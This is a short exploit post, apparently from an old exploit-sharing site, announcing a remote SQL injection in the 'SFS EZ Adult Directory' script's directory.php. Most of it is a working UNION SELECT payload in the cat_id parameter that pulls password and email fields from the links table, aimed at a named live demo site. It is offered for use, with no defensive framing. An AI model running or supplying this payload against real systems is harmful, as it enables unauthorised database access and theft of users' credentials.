================================================================================== SFS EZ Adult Directory (directory.php id) Remote SQL Injection Vulnerability ================================================================================== __ __ __ / / / /_ _______/ /__ __ __ / /_/ / / / / ___/ / _ \/ / / / / __ / /_/ / / / / __/ /_/ / /_/ /_/\__,_/_/ /_/\___/\__, / /____/ ================================================================================== ---------------------------------------------------------------------------------- Website script: http://www.scripts-for-sites.info/index.php ---------------------------------------------------------------------------------- Exploit: http://localHost/gaming/directory.php?ax=list&l=list_by&cat_id=[exploit] ---------------------------------------------------------------------------------- LiveDemo: http://turnkeyzone.com/demos/adultdir/directory.php?ax=list&sub=6&cat_id=1/**/union/**/all/**/select/**/1,2,concat_ws(0x3a,password,email),4,5,6,7,8,9,10,11,12,13/**/from/**/links/* ---------------------------------------------------------------------------------- ================================================================================== Special Thx : Darckc0de ==================================================================================